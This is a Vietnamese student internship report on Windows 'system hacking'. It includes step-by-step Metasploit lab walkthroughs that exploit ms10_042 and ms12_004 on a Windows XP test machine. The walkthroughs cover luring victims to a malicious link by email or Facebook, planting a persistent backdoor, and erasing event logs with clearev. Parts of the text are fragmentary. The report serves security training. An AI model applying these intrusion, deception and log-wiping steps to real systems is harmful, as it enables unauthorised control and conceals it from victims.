Báo Cáo Đồ ÁN _System Hacking

Các lỗ hỗng bảo mật hệ thống và phần mềm trong windows -Tội phạm mạng thường sử dụng các lỗ hổng trong các mã chương trình để truy cập vào các dữ liệu và tài nguyên trên máy tính bị lỗi

TRUNG TÂM ĐÀO TẠO QUẢN TRỊ MẠNG

VÀ AN NINH MẠNG QUỐC TẾ ATHENA

BÁO CÁO THỰC TẬP DOANH NGHIỆP

SYSTEM HACKING

Giảng viên hướng dẫn: Võ Đỗ Thắng.

Sinh viên thực hiện: Trần Nguyễn Lộc

TP Hồ Chí Minh, tháng 04 năm 2015

Nhận xét của giảng viên

Mục lục

Mở đầu 4

Phần I: Giới thiệu 5

1.1.Khái niệm System hacking 5

1.2 Các lỗ hỗng bảo mật hệ thống và phần mềm trong windows 5

1.3.Các bước tấn công hệ thống 6

PHẦN II: SỬ DỤNG BACKTRACK ĐỂ KHAI THÁC VÀ TẤN CÔNG TRONG MẠNG LAN 7

2.1.Giới thiệu về hệ điều hành Backtrack 5 R3 7

2.2.Giới thiệu về công cụ Metasploit 10

2.3.Các lệnh dùng để khai thác lỗ hổng của công cụ Metasploit 11

2.4.Khai thác và xâm nhập lỗ hổng windows XP 14

2.4.1 Sơ đồ tấn công mạng Lan 14

2.4.2.Thực hiện tấn công 15

PHẦN III: XÂY DỰNG HONEYPOT KHAI THÁC XÂM NHẬP LỖ HỔNG TỪ XA QUA MẠNG INTERNET 26

3.1 Honeypot 26

3.2 Sơ đồ tổng quan sử dụng Honeypot để xâm nhập từ xa qua Internet 27

3.3 Tấn công hệ điều hành Windows XP 28

PHẦN IV: TỔNG KẾT 31

Phần V: Danh mục các clip Error! Bookmark not defined Phần VI: Danh Mục Tham Khảo 32

Mở đầu

Theo thống kê của công ty Bkav, từ đầu năm 2013 đến nay, tại Việt Nam đã có 2.405 website của các cơ quan, doanh nghiệp bị xâm nhập, trung bình mỗi tháng có khoảng 300 website bị tấn công Ông Vũ Ngọc Sơn, Phó chủ tịch phụ trách Nghiên cứu phát triển của Bkav cho biết, các cơ quan doanh nghiệp bị tấn công gần như là đầy đủ, từ ít nghiêm trọng đến nghiêm trọng và rất nghiêm trọng (nhằm đánh cắp các tài liệu mật) và các mã độc này nhắm cả vào Bộ Công An, Bộ Quốc phòng, ngân hàng, các cơ quan đơn vị nghiên cứu, các doanh nghiệp…Theo nhìn nhận của Bkav, đã có những chiến dịch tấn công, phát tán mã độc có chủ đích vào Việt Nam Trong đó, bản thân các vụ tấn công trên mạng và các vụ xâm nhập hệ thống công nghệ thông tin là nhằm do thám, trục lợi, phá hoại dữ liệu, ăn cắp tài sản, cạnh tranh không lành mạnh và một số vụ mất an toàn thông tin số khác đang gia tăng ở mức báo động về số lượng, đa dạng về hình thức, tinh vi hơn

Phần I: Giới thiệu

1.1.Khái niệm System hacking

-Tấn công hệ thống (System hacking) bao gồm những kỹ thuật lấy username, password dựa vào phần mềm cài trên hệ thống hoặc tính dễ cài đặt và chạy các dịch vụ từ xa của hệ điều hành window Nâng quyền trong hệ thống, sử dụng keyloger để lấy thông tin, xóa những log file hệ thống

-Mật khẩu mặc định của tài khoản quản trị (administrator) trong hệ thống Windows được

để trống , nếu khi cài đặt người dùng bỏ qua quá trình điền mật khẩu của user administrator Vì vậy, hacker có thể khai thác lỗi này để đăng nhập chính thức vào hệ thống với quyền hạn cao nhất

1.2 Các lỗ hỗng bảo mật hệ thống và phần mềm trong windows

-Tội phạm mạng thường sử dụng các lỗ hổng trong các mã chương trình để truy cập vào các dữ liệu và tài nguyên trên máy tính bị lỗi bảo mật Các chương trình độc hại được thiết kế đặc biệt để khai thác các lỗ hổng được gọi là kỹ thuật exploit, đang ngày càng phổ biến nhanh chóng.Nếu như trước đây, tội phạm chủ yếu nhắm mục tiêu vào các lỗ hổng bảo mật trong các hệ điều hành Microsoft Windows thì vài năm gần đây, bọn chúng

đã chuyển trọng tâm vào các sản phẩm như Adobe Flash Player và Adobe Reader, Microsoft office(Word)…

-Thế nhưng thực tế vẫn còn rất nhiều người dùng không chịu thường xuyên cập nhật các phần mềm trên máy tính của họ Điều này giải thích tại sao việc khai thác các lỗ hổng đã được vá vẫn còn phổ biến rộng rãi nhất trong số các chương trình độc hại được phát hiện trên máy tính của người dùng

-Để khắc phục những nguy hiểm này, chúng ta nên : thường xuyên kiểm tra các bản cập nhật phần mềm, cài đặt chúng ngay khi được phát hành, có thể cài đặt thủ công nếu cần thiết; không bấm vào các đường liên kết không rõ ràng hoặc mở những email xuất hiện trong hộp thư nếu chúng ta không biết và tin tưởng người gửi, và đặc biệt chúng ta nên thực hiện theo các quy tắc cơ bản của bảo mật máy tính và sử dụng các trình duyệt như Google Chrome, Mozilla Firefox và Internet Explorer để tăng cường bảo mật khi truy cập internet

1.3.Các bước tấn công hệ thống

Trước tiên ta sẽ tìm hiểu tổng quát một quá trình tấn công hệ thống Mục tiêu phía

trước của chúng ta là một hệ thống máy tính Các bước để tấn công, đánh sập nó, có thể được liệt kê như hình vẽ bên cạnh Nó gồm 6 công đoạn như sau:

(hình 1.1: Quá trình tấn công vào một hệ thống)

 Enumerate (liệt kê): Trích ra tất cả những thông tin có thể về user trong hệ thống

Sử dụng phương pháp thăm dò SNMP để có được những thông tin hữu ích, chính xác hơn

 Crack: Công đoạn này có lẽ hấp dẫn nhiều Hackernhất Bước này yêu cầu chúng ta

bẽ khóa mật khẩu đăng nhập của user Hoặc bằng một cách nào khác, mục tiêu phải đạt tới là quyền truy cập vào hệ thống

 Escalste (leo thang): Nói cho dễ hiểu là chuyển đổi giới hạn truy cập từ user binh thường lên admin hoặc user có quyền cao hơn đủ cho chúng ta tấn công

 Execute (thực thi): Thực thi ứng dụng trên hệ thống máy đích Chuẩn bị trước malware, keylogger, rootkit…để chạy nó trên máy tính tấn công

 Hide (ẩn file): Những file thực thi, file soucecode chạy chương trình… Cần phải được làm ẩn đi, tránh bị mục tiêu phát hiện tiêu diệt

 Tracks (dấu vết): Tất nhiên không phải là để lại dấu vết Những thông tin có liên quan đến bạn cần phải bị xóa sạch, không để lại bất cứ thứ gì Nếu không khả năng bạn bị phát hiện là kẻ đột nhập là rất cao

Tóm lại, quá trình tấn công hệ thống (System hacking) là bước tiếp theo sau quá trình khảo sát, thu thập thông tin của mục tiêu cần tấn công bằng những kỹ thuật như Footprinting, Social engineering, Enumeration, Google Hacking… đã được áp dụng cho mục đích truy tìm thông tin

Khi hệ thống mục tiêu đã được xác định, chúng ta bắt đầu đi vào quá trình tấn công hệ thống thật sự Ta phải tiến hành những kỹ thuật khác nhau để làm sao vào được trong hệ thống đó, thực hiện những việc mà mình mong muốn, như xóa dữ liệu, chạy chương trình trojan, keylogger…

PHẦN II: SỬ DỤNG BACKTRACK ĐỂ KHAI THÁC VÀ TẤN CÔNG TRONG MẠNG LAN

2.1.Giới thiệu về hệ điều hành Backtrack 5 R3

Backtrack là một bản phân phối dạng Live DVD của Linux, được phát triển để thử nghiệm xâm nhập Backtrack là sự hợp nhất giữa 3 bản phân phối khác nhau của Linux

về thâm nhập thử nghiệm IWHAX, WHOPPIX, và Auditor Trong phiên bản hiện tại của

nó (5), Backtrack được dựa trên phiên bản phân phối Linux Ubuntu 11.10

Công cụ Backtrack đã có lịch sử phát triển khá lâu qua nhiều bản linux khác nhau Phiên bản hiện nay sử dụng bản phân phối Slackware linux (Tomas M.(www.slax.org)) Backtrack liên tục cập nhật các công cụ, drivers, Hiện tại Backtrack có trên 300 công

cụ phục vụ cho việc nghiên cứu bảo mật Backtrack là sự kết hợp giữa 2 bộ công cụ kiểm thử bảo mật rất nổi tiếng là Whax và Auditor

Backtrack 5 chứa một số công cụ có thể được sử dụng trong quá trình thử nghiệm thâm nhập của chúng ta Các công cụ kiểm tra thâm nhập trong Backtrack 5 có thể được phân loại như sau:

 Information gathering: loại này có chứa một số công cụ có thể được sử dụng để có được thông tin liên quan đến một mục tiêu DNS, định tuyến, địa chỉ e-mail, trang web, máy chủ mail, và như vậy Thông tin này được th u thập từ các thông tin có sẵn trên Internet, mà không cần chạm vào môi trường mục tiêu

 Network mapping: loại này chứa các công cụ có thể được sử dụng để kiểm tra các host đang tồn tại, thông tin về OS, ứng dụng được sử dụng bởi mục tiêu, và cũng làm portscanning

 Vulnerability identification: Trong thể loại này, chúng ta có thể tìm thấy các công

cụ để quét các lỗ hổng (tổng hợp) và trong các thiết bị Cisco Nó cũng chứa các công cụ để thực hiện và phân tích Server Message Block (SMB) và Simple Network Management Protocol (SNMP)

 Web application analysis: loại này chứa các công cụ có thể được sử dụng trong theo dõi, giám sát các ứng dụng web

 Radio network analysis: Để kiểm tra mạng không dây, bluetooth và nhận dạng tần

số vô tuyến (RFID), chúng ta có thể sử dụng các công cụ trong thể loại này

 Penetration: loại này chứa các công cụ có thể được sử dụng để khai thác các lỗ hổng tìm thấy trong các máy tính mục tiêu

 Privilege escalation: Sau khi khai thác các lỗ hổng và được truy cập vào các máy tính mục tiêu, chúng ta có thể sử dụng các công cụ trong loại này để nâng cao đặc quyền của chúng ta cho các đặc quyền cao nhất

 Maintaining access: Công cụ trong loại này sẽ có thể giúp chúng ta trong việc duy trì quyền truy cập vào các máy tính mục tiêu Chúng ta có thể cần để có được những đặc quyền cao nhất trước khi các chúng ta có thể cài đặt công cụ để duy trì quyền truy cập

 Voice Over IP (VOIP): Để phân tích VOIP chúng ta có thể sử dụng các công cụ trong thể loại này

 Digital forensics: Trong loại này, chúng ta có thể tìm thấy một số công cụ có thể được sử dụng để làm phân tích kỹ thuật như có được hình ảnh đĩa cứng, cấu trúc

các tập tin, và phân tích hình ảnh đĩa cứng Để sử dụng các công cụ cung cấp trong thể loại này, chúng ta có thể chọn Start Backtrack Forensics trong trình đơn khởi động Đôi khi sẽ đòi hỏi chúng ta phải gắn kết nội bộ đĩa cứng và các tập tin trao đổi trong chế độ chỉ đọc để bảo tồn tính toàn vẹn

 Reverse engineering: Thể loại này chứa các công cụ có thể được sử dụng để gỡ rối chương trình một hoặc tháo rời một tập tin thực thi

Chúng ta có thể tải bản Backtrack 5 tại địa chỉ:

www.backtracklinux.org/downloads/

2.2.Giới thiệu về công cụ Metasploit

-Metasploit là một dự án bảo mật máy tính cung cấp các thông tin về vấn đề lỗ hổng bảo

mật cũng như giúp đỡ về kiểm tra thăm nhập và phát triển hệ thống phát hiện tấn công mạng Metasploit Framework là một môi trường dùng để kiểm tra, tấn công và khai thác lỗi của các service Metasploit được xây dựng từ ngôn ngữ hướng đối tượng Perl, với những components được viết bằng C, assembler, và Python Metasploit có thể chạy trên hầu hết các hệ điều hành: Linux, Windows, MacOS Chúng ta có thể download chương trình tại www.metasploit.com

Metasploit hỗ trợ nhiều giao diện với người dùng:

 Console interface: dùng lệnh msfconsole Msfconsole interface sử dụng các dòng lệnh để cấu hình, kiểm tra nên nhanh hơn và mềm dẻo hơn

 Web interface: dùng msfweb, giao tiếp với người dùng thông qua giao diện Web

 Command line interface: dùng msfcli

exploit khác Chúng có thể lưu lại enviroment mình đã cấu hình thông qua lệnh save Môi trường đó sẽ được lưu trong /msf/config và sẽ được load trở lại khi user interface được thực hiện

2.3.Các lệnh dùng để khai thác lỗ hổng của công cụ Metasploit

 Khởi động chương trình metasploit:

 Chọn module exploit

-Dùng lệnh: Use exploit_name

 Xem thông tin về module exploit

-Dùng lệnh : info exploit_name

 Xem cách cấu hình của exploit

-Sau khi dung lệnh Use exploit_name, ta dùng lệnh show options để biết cách cấu hình exploit

 Cấu hình địa chỉ của máy bị tấn công

-Dùng lệnh :set Rhost [đia chỉ ip]

 Cấu hình port của máy bị tấn công

-Dùng lệnh : set Rport [địa chỉ ip]

 Cấu hình địa chỉ của máy tấn công(backtrack 5)

-Dùng lệnh : set lport [số hiệu port]

 xác định payload module name: set payload payload_name

 xem những advanced options của payload đó: show advanced

 Xem hệ điều hành có hỗ trợ việc tấn công hay không:

-Dùng lệnh: show targets

 Để thực thi exploit :

-Dùng lệnh : exploit

 Quay lại thao tác trước đó:

-Dùng lệnh : back

2.4.Khai thác và xâm nhập lỗ hổng windows XP

2.4.1 Sơ đồ tấn công mạng Lan

-Chuẩn bị:

+ 1 máy backtrack 5 R3 có địa chỉ IP: 172.16.0.9(máy tấn công)

+ 1 máy win XP có địa chỉ IP 172.16.0.10(máy bị tấn công)

2.4.2.Thực hiện tấn công

2.4.2.1 Khai thác mã lỗi ms10_042

-Mục đích của việc khai thác này là khai thác lỗ hổng css trong help center của IE, sau đó chiếm toàn quyền điều khiển trên máy nạn nhân, và sau đó tiến hành cài Backdoor trên máy nhân và sau đó tiến hành xóa dấu vết

 Tiến hành xâm nhập vào máy nạn nhân

 Mở giao diện console của công cụ metasploit bằng dòng lệnh msfconsole

 Sử dụng lênh use và set payload để sử dụng mã lỗi ms10_042 và set payload trên máy nạn nhân

 Dùng lệnh set srvhost, lhost, exploit

- Set srvhost 172.16.0.9 -> set địa chỉ IP của máy backtrack 5 R3

- Set lhost 172.16.0.9 -> set địa chỉ IP của máy backtrack 5 R3

- Lệnh exploit để bắt đầu xâm nhập trên máy nạn nhân

 Sau khi thực hiện lệnh exploit , thì sẽ tạo ra 1 đường link chứa mã độc , mà khi nạn nhân kích vào, thì lập tức sẽ nhiễm mã độc và lúc này backtrack 5 sẽ chiếm toàn quyền điều khiển trên máy bạn nhân.(việc lừa nạn nhận kích vào mã độc tùy vào khả năng của hacker như gửi mail hoặc gửi qua facebook …., tùy vào khả năng của mỗi người)

=>Tới bước này là ta có thể chiếm được toàn quyền điều khiển trên máy nạn nhân như: xem thông tin trên máy nạn nhân,thêm ,xóa ,sửa file, thư mục … trên máy nạn nhân

-Xem thông tin trên máy nạn nhân thành công

-Tạo thư mục backdoor thành công

 Cài backdoor trên máy tính nạn nhân

-Mục đích của việc này là máy tính nạn nhân tự kết nối đến máy backtrack 5 sau mỗi lần

restart mà không cần phải tấn công, để thực hiện được việc này chúng ta cần công cụ putty để remote từ xa đến máy nạn nhân

 Sử dụng lệnh sau để tiến hành cài đặt backdoor trên máy nạn nhân

 Tiến hành xóa dấu vết trên máy nạn nhân sau khi đã xâm nhập và tấn công

thành công

-Mặc định khi ta đăng nhập vào một máy tính nào đó thì nó sẽ lưu lại các event trong công cụ Event Viewer của Microsoft

-Ta dùng lệnh clearev để xóa các record trên máy nạn nhân

-Việc xóa dấu vết thành công

2.2.4.2.Khai thác mã lỗi ms12_004

- Mục tiêu của việc khai thác mã lỗi này là khai thác lỗ hổng của IE(Internet Explorer) do

chưa được cập nhật , vá lỗi

 Mở giao diện console của công cụ metasploit bằng dòng lệnh msfconsole

 Search mã lỗi ms12_004 bằng dòng lệnh search ms12_004

 Tiến hành khai thác mã lỗi bằng dòng lệnh :

use exploit /windows/browser/ms12_004_midi

 Xem hệ điều hành có thể khai thác bởi mã lỗi ms12_004

 Thiết lập địa chỉ máy backtrack 5 R3, và set payload cho máy nạn nhân

 Dùng lệnh exploit để tạo ra đường link mã độc , khi nạn nhân kích vào đường link này thì sẽ bị nhiễm mã độc và bị kẻ tấn công chiếm toàn quyền điều khiển

-Việc lừa nạn nhân kích vào đường link độc hại tùy vào khả năng của mỗi người như: gửi mail, chat facebook …

 Sau khi nạn nhân bị lừa kích vào đường link độc hại thì lúc này ta chiếm được toàn quyền điều khiển trên máy tính nạn nhân Sử dụng lệnh systeminfo để xem thông tin trên máy tính nạn nhân